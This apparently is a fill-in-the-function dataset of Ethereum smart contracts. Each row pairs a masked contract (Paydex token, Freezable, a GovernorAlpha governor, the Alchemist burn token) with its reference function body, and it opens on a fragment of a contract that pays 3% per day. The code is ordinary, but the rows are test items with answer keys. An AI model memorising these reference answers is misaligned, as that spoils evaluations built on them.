uint256 getvalue = balances[msg.sender]*3/100*(block.number-timestamp[msg.sender])/5900;
sender.transfer(getvalue);
}
// Update user info
timestamp[msg.sender] = block.number;
// Reinvest
balances[msg.sender] += msg.value;
| function() external payable | function() external payable |
|
67858 | Paydex | transferFrom | contract Paydex is Ownable, SafeMath, IERC20{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balanceOf[msg.sender] = 10000000000000000000;
totalSupply = 10000000000000000000;
name = "Paydex";
symbol = "Paydex";
decimals = 8;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[msg.sender] + balanceOf[_to];
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(msg.sender, _to, _value);
assert(balanceOf[msg.sender]+balanceOf[_to]==previousBalances);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract Paydex is Ownable, SafeMath, IERC20{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balanceOf[msg.sender] = 10000000000000000000;
totalSupply = 10000000000000000000;
name = "Paydex";
symbol = "Paydex";
decimals = 8;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[msg.sender] + balanceOf[_to];
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(msg.sender, _to, _value);
assert(balanceOf[msg.sender]+balanceOf[_to]==previousBalances);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
<FILL_FUNCTION>
} |
require (_to != address(0));
require (_value > 0);
require (balanceOf[_from] >= _value) ;
require (balanceOf[_to] + _value > balanceOf[_to]);
require (_value <= allowance[_from][msg.sender]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) |
88123 | Freezable | freezeAccount | contract Freezable is Ownable {
mapping (address => bool) public frozenAccount;
event Frozen(address target, bool frozen);
/**
* @dev Modifier to make a function callable only when the target is not
* frozen.
*/
modifier whenNotFrozen(address target) {
require(!frozenAccount[target]);
_;
}
/**
* @notice `freeze? Prevent | Allow` `target` from sending & receiving
* tokens
* @param target Address to be frozen
* @param freeze either to freeze it or not
*/
function freezeAccount(address target, bool freeze) public onlyOwner {<FILL_FUNCTION_BODY> }
} | contract Freezable is Ownable {
mapping (address => bool) public frozenAccount;
event Frozen(address target, bool frozen);
/**
* @dev Modifier to make a function callable only when the target is not
* frozen.
*/
modifier whenNotFrozen(address target) {
require(!frozenAccount[target]);
_;
}
<FILL_FUNCTION>
} |
frozenAccount[target] = freeze;
emit Frozen(target, freeze);
| function freezeAccount(address target, bool freeze) public onlyOwner | /**
* @notice `freeze? Prevent | Allow` `target` from sending & receiving
* tokens
* @param target Address to be frozen
* @param freeze either to freeze it or not
*/
function freezeAccount(address target, bool freeze) public onlyOwner |
1225 | GovernorAlpha | propose | contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "TLTF Governor";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public view returns (uint256) {
return
SafeMath.div(SafeMath.mul(pheezez.votesAvailable(), qRatio), 100);
} // Ratio can be governed
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public view returns (uint256) {
return
SafeMath.div(SafeMath.mul(pheezez.votesAvailable(), tRatio), 100);
} // Ratio can be governed
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint256) {
return 10;
} // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint256) {
return 1;
} // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public view returns (uint256) {
return vPeriod;
} // ~3 days in blocks (assuming 13s blocks) ***CHANGE WHEN NEEDED*****
/// @notice The address of the Timelock
TimelockInterface public timelock;
/// @notice The address of the PHEEZEZ token
PHEEZEZInterface public pheezez;
/// @notice The address of the Governor Guardian. Initialy, the dev, until tests are completed.
address public guardian;
/// @notice The total number of proposals
uint256 public proposalCount;
/// @notice Delay for allowing proposals to be made. Relative to the halving rate of the Token.
uint256 public proposeDelay;
/// @notice Allows quorum Ratio to be changed.
uint256 public qRatio;
/// @notice Allows threshold ratio to be changed.
uint256 public tRatio;
/// @notice Allows vote ratio to be changed.
uint256 public vRatio;
/// @notice Allows votation Period to be changed.
uint256 public vPeriod = 19938;
struct Proposal {
//Unique id for looking up a proposal
uint256 id;
//Creator of the proposal
address proposer;
//The timestamp that the proposal will be available for execution, set once the vote succeeds
uint256 eta;
//the ordered list of target addresses for calls to be made
address[] targets;
//The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint256[] values;
//The ordered list of function signatures to be called
string[] signatures;
//The ordered list of calldata to be passed to each call
bytes[] calldatas;
//The block at which voting begins: holders must delegate their votes prior to this block
uint256 startBlock;
//The block at which voting ends: votes must be cast prior to this block
uint256 endBlock;
//Current number of votes in favor of this proposal
uint256 forVotes;
//Current number of votes in opposition to this proposal
uint256 againstVotes;
//Flag marking whether the proposal has been canceled
bool canceled;
//Flag marking whether the proposal has been executed
bool executed;
//Flag for marking that a proposal succeeded so it does not get Defeated when quorum% updates.
uint256 quorumatPropose;
//Receipts of ballots for the entire set of voters
mapping(address => Receipt) receipts;
}
//Ballot receipt record for a voter
struct Receipt {
//Whether or not a vote has been cast
bool hasVoted;
//Whether or not the voter supports the proposal
bool support;
//The number of votes the voter had, which were cast
uint256 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping(uint256 => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping(address => uint256) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256(
"Ballot(uint256 proposalId,bool support)"
);
/// @notice An event emitted when a new proposal is created
event ProposalCreated(
uint256 id,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description
);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(
address voter,
uint256 proposalId,
bool support,
uint256 votes
);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint256 id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint256 id, uint256 eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint256 id);
constructor(
address timelock_,
address pheezez_
) public {
timelock = TimelockInterface(timelock_);
pheezez = PHEEZEZInterface(pheezez_);
guardian = msg.sender;
proposeDelay = 11058124;
qRatio = 4;
tRatio = 1;
vRatio = 2;
}
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public returns (uint256) {<FILL_FUNCTION_BODY> }
function queue(uint256 proposalId) public {
require(
state(proposalId) == ProposalState.Succeeded,
"GovernorAlpha::queue: proposal can only be queued if it is succeeded"
);
Proposal storage proposal = proposals[proposalId];
uint256 eta = add256(block.timestamp, timelock.delay());
for (uint256 i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
eta
);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) internal {
require(
!timelock.queuedTransactions(
keccak256(abi.encode(target, value, signature, data, eta))
),
"GovernorAlpha::_queueOrRevert: proposal action already queued at eta"
);
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint256 proposalId) public payable {
require(
state(proposalId) == ProposalState.Queued,
"GovernorAlpha::execute: proposal can only be executed if it is queued"
);
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value: proposal.values[i]}(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta
);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint256 proposalId) public {
ProposalState state = state(proposalId);
require(
state != ProposalState.Executed,
"GovernorAlpha::cancel: cannot cancel executed proposal"
);
Proposal storage proposal = proposals[proposalId];
require(
msg.sender == guardian || proposal.proposer == msg.sender,
"GovernorAlpha::cancel: Only the creator can cancel a proposal"
); //Guardian or Proposal creator can cancel.
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta
);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint256 proposalId)
public
view
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint256 proposalId, address voter)
public
view
returns (Receipt memory)
{
return proposals[proposalId].receipts[voter];
}
function state(uint256 proposalId) public view returns (ProposalState) {
require(
proposalCount >= proposalId && proposalId > 0,
"GovernorAlpha::state: invalid proposal id"
);
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (
proposal.forVotes <= proposal.againstVotes ||
proposal.forVotes < proposal.quorumatPropose
) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (
block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())
) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint256 proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function _castVote(
address voter,
uint256 proposalId,
bool support
) internal {
require(
state(proposalId) == ProposalState.Active,
"GovernorAlpha::_castVote: voting is closed"
);
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(
receipt.hasVoted == false,
"GovernorAlpha::_castVote: voter already voted"
);
uint256 votes = pheezez.getPriorVotes(voter, proposal.startBlock);
uint256 voteLimiter = SafeMath.div(
SafeMath.mul(pheezez.votesAvailable(), vRatio),
100
);
//In order to avoid whale unilateral voting.
if (votes > voteLimiter) {
votes = voteLimiter;
}
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function changeQuorumRatio(uint256 ratio) public {
require(
msg.sender == guardian,
"GovernorAlpha::changeQuorumRatio: only the guardian can change the Ratio"
);
qRatio = ratio;
}
function changeThresholdRatio(uint256 ratio) public {
require(
msg.sender == guardian,
"GovernorAlpha::changeThresholdRatio: only the guardian can change the Ratio"
);
tRatio = ratio;
}
function changeVotingRatio(uint256 ratio) public {
require(
msg.sender == guardian,
"GovernorAlpha::changeVotingRatio: only the guardian can change the Ratio"
);
vRatio = ratio;
}
function changeVotingPeriod(uint256 period) public {
require(
msg.sender == guardian,
"GovernorAlpha::changeVotingPeriod: only the guardian can change the Ratio"
);
vPeriod = period;
}
function __acceptAdmin() public {
require(
msg.sender == guardian,
"GovernorAlpha::__acceptAdmin: sender must be gov guardian"
);
timelock.acceptAdmin();
}
function __abdicate() public {
require(
msg.sender == guardian,
"GovernorAlpha::__abdicate: sender must be gov guardian"
);
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(
address newPendingAdmin,
uint256 eta
) public {
require(
msg.sender == guardian,
"GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"
);
timelock.queueTransaction(
address(timelock),
0,
"setPendingAdmin(address)",
abi.encode(newPendingAdmin),
eta
);
}
function __executeSetTimelockPendingAdmin(
address newPendingAdmin,
uint256 eta
) public {
require(
msg.sender == guardian,
"GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"
);
timelock.executeTransaction(
address(timelock),
0,
"setPendingAdmin(address)",
abi.encode(newPendingAdmin),
eta
);
}
function add256(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "subtraction underflow");
return a - b;
}
} | contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "TLTF Governor";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public view returns (uint256) {
return
SafeMath.div(SafeMath.mul(pheezez.votesAvailable(), qRatio), 100);
} // Ratio can be governed
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public view returns (uint256) {
return
SafeMath.div(SafeMath.mul(pheezez.votesAvailable(), tRatio), 100);
} // Ratio can be governed
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint256) {
return 10;
} // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint256) {
return 1;
} // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public view returns (uint256) {
return vPeriod;
} // ~3 days in blocks (assuming 13s blocks) ***CHANGE WHEN NEEDED*****
/// @notice The address of the Timelock
TimelockInterface public timelock;
/// @notice The address of the PHEEZEZ token
PHEEZEZInterface public pheezez;
/// @notice The address of the Governor Guardian. Initialy, the dev, until tests are completed.
address public guardian;
/// @notice The total number of proposals
uint256 public proposalCount;
/// @notice Delay for allowing proposals to be made. Relative to the halving rate of the Token.
uint256 public proposeDelay;
/// @notice Allows quorum Ratio to be changed.
uint256 public qRatio;
/// @notice Allows threshold ratio to be changed.
uint256 public tRatio;
/// @notice Allows vote ratio to be changed.
uint256 public vRatio;
/// @notice Allows votation Period to be changed.
uint256 public vPeriod = 19938;
struct Proposal {
//Unique id for looking up a proposal
uint256 id;
//Creator of the proposal
address proposer;
//The timestamp that the proposal will be available for execution, set once the vote succeeds
uint256 eta;
//the ordered list of target addresses for calls to be made
address[] targets;
//The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint256[] values;
//The ordered list of function signatures to be called
string[] signatures;
//The ordered list of calldata to be passed to each call
bytes[] calldatas;
//The block at which voting begins: holders must delegate their votes prior to this block
uint256 startBlock;
//The block at which voting ends: votes must be cast prior to this block
uint256 endBlock;
//Current number of votes in favor of this proposal
uint256 forVotes;
//Current number of votes in opposition to this proposal
uint256 againstVotes;
//Flag marking whether the proposal has been canceled
bool canceled;
//Flag marking whether the proposal has been executed
bool executed;
//Flag for marking that a proposal succeeded so it does not get Defeated when quorum% updates.
uint256 quorumatPropose;
//Receipts of ballots for the entire set of voters
mapping(address => Receipt) receipts;
}
//Ballot receipt record for a voter
struct Receipt {
//Whether or not a vote has been cast
bool hasVoted;
//Whether or not the voter supports the proposal
bool support;
//The number of votes the voter had, which were cast
uint256 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping(uint256 => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping(address => uint256) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256(
"Ballot(uint256 proposalId,bool support)"
);
/// @notice An event emitted when a new proposal is created
event ProposalCreated(
uint256 id,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description
);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(
address voter,
uint256 proposalId,
bool support,
uint256 votes
);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint256 id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint256 id, uint256 eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint256 id);
constructor(
address timelock_,
address pheezez_
) public {
timelock = TimelockInterface(timelock_);
pheezez = PHEEZEZInterface(pheezez_);
guardian = msg.sender;
proposeDelay = 11058124;
qRatio = 4;
tRatio = 1;
vRatio = 2;
}
<FILL_FUNCTION>
function queue(uint256 proposalId) public {
require(
state(proposalId) == ProposalState.Succeeded,
"GovernorAlpha::queue: proposal can only be queued if it is succeeded"
);
Proposal storage proposal = proposals[proposalId];
uint256 eta = add256(block.timestamp, timelock.delay());
for (uint256 i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
eta
);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) internal {
require(
!timelock.queuedTransactions(
keccak256(abi.encode(target, value, signature, data, eta))
),
"GovernorAlpha::_queueOrRevert: proposal action already queued at eta"
);
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint256 proposalId) public payable {
require(
state(proposalId) == ProposalState.Queued,
"GovernorAlpha::execute: proposal can only be executed if it is queued"
);
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value: proposal.values[i]}(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta
);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint256 proposalId) public {
ProposalState state = state(proposalId);
require(
state != ProposalState.Executed,
"GovernorAlpha::cancel: cannot cancel executed proposal"
);
Proposal storage proposal = proposals[proposalId];
require(
msg.sender == guardian || proposal.proposer == msg.sender,
"GovernorAlpha::cancel: Only the creator can cancel a proposal"
); //Guardian or Proposal creator can cancel.
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta
);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint256 proposalId)
public
view
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint256 proposalId, address voter)
public
view
returns (Receipt memory)
{
return proposals[proposalId].receipts[voter];
}
function state(uint256 proposalId) public view returns (ProposalState) {
require(
proposalCount >= proposalId && proposalId > 0,
"GovernorAlpha::state: invalid proposal id"
);
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (
proposal.forVotes <= proposal.againstVotes ||
proposal.forVotes < proposal.quorumatPropose
) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (
block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())
) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint256 proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function _castVote(
address voter,
uint256 proposalId,
bool support
) internal {
require(
state(proposalId) == ProposalState.Active,
"GovernorAlpha::_castVote: voting is closed"
);
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(
receipt.hasVoted == false,
"GovernorAlpha::_castVote: voter already voted"
);
uint256 votes = pheezez.getPriorVotes(voter, proposal.startBlock);
uint256 voteLimiter = SafeMath.div(
SafeMath.mul(pheezez.votesAvailable(), vRatio),
100
);
//In order to avoid whale unilateral voting.
if (votes > voteLimiter) {
votes = voteLimiter;
}
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function changeQuorumRatio(uint256 ratio) public {
require(
msg.sender == guardian,
"GovernorAlpha::changeQuorumRatio: only the guardian can change the Ratio"
);
qRatio = ratio;
}
function changeThresholdRatio(uint256 ratio) public {
require(
msg.sender == guardian,
"GovernorAlpha::changeThresholdRatio: only the guardian can change the Ratio"
);
tRatio = ratio;
}
function changeVotingRatio(uint256 ratio) public {
require(
msg.sender == guardian,
"GovernorAlpha::changeVotingRatio: only the guardian can change the Ratio"
);
vRatio = ratio;
}
function changeVotingPeriod(uint256 period) public {
require(
msg.sender == guardian,
"GovernorAlpha::changeVotingPeriod: only the guardian can change the Ratio"
);
vPeriod = period;
}
function __acceptAdmin() public {
require(
msg.sender == guardian,
"GovernorAlpha::__acceptAdmin: sender must be gov guardian"
);
timelock.acceptAdmin();
}
function __abdicate() public {
require(
msg.sender == guardian,
"GovernorAlpha::__abdicate: sender must be gov guardian"
);
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(
address newPendingAdmin,
uint256 eta
) public {
require(
msg.sender == guardian,
"GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"
);
timelock.queueTransaction(
address(timelock),
0,
"setPendingAdmin(address)",
abi.encode(newPendingAdmin),
eta
);
}
function __executeSetTimelockPendingAdmin(
address newPendingAdmin,
uint256 eta
) public {
require(
msg.sender == guardian,
"GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"
);
timelock.executeTransaction(
address(timelock),
0,
"setPendingAdmin(address)",
abi.encode(newPendingAdmin),
eta
);
}
function add256(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "subtraction underflow");
return a - b;
}
} |
require(
block.number > proposeDelay,
"GovernorAlpha::propose: Not allowed to propose yet"
);
require(
pheezez.getPriorVotes(msg.sender, sub256(block.number, 1)) >
proposalThreshold(),
"GovernorAlpha::propose: proposer votes below proposal threshold"
);
require(
targets.length == values.length &&
targets.length == signatures.length &&
targets.length == calldatas.length,
"GovernorAlpha::propose: proposal function information mismatch"
);
require(
targets.length != 0,
"GovernorAlpha::propose: must provide actions"
);
require(
targets.length <= proposalMaxOperations(),
"GovernorAlpha::propose: too many actions"
);
uint256 latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(
latestProposalId
);
require(
proposersLatestProposalState != ProposalState.Active,
"GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"
);
require(
proposersLatestProposalState != ProposalState.Pending,
"GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"
);
}
uint256 startBlock = add256(block.number, votingDelay());
uint256 endBlock = add256(startBlock, votingPeriod());
uint256 quorum = quorumVotes();
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false,
quorumatPropose: quorum //UAs pheezez keeps growing, we do not want the proposal quorum to change while it is processing.
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(
newProposal.id,
msg.sender,
targets,
values,
signatures,
calldatas,
startBlock,
endBlock,
description
);
return newProposal.id;
| function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public returns (uint256) | function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public returns (uint256) |
73213 | Alchemist | transfer | contract Alchemist is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "Alchemist";
string constant tokenSymbol = "ALCH";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 6700000000000000000000;
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findThreePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(5000);
return onePercent;
}
function transfer(address to, uint256 value) public returns (bool) {<FILL_FUNCTION_BODY> }
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findThreePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | contract Alchemist is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "Alchemist";
string constant tokenSymbol = "ALCH";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 6700000000000000000000;
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findThreePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(5000);
return onePercent;
}
<FILL_FUNCTION>
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findThreePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
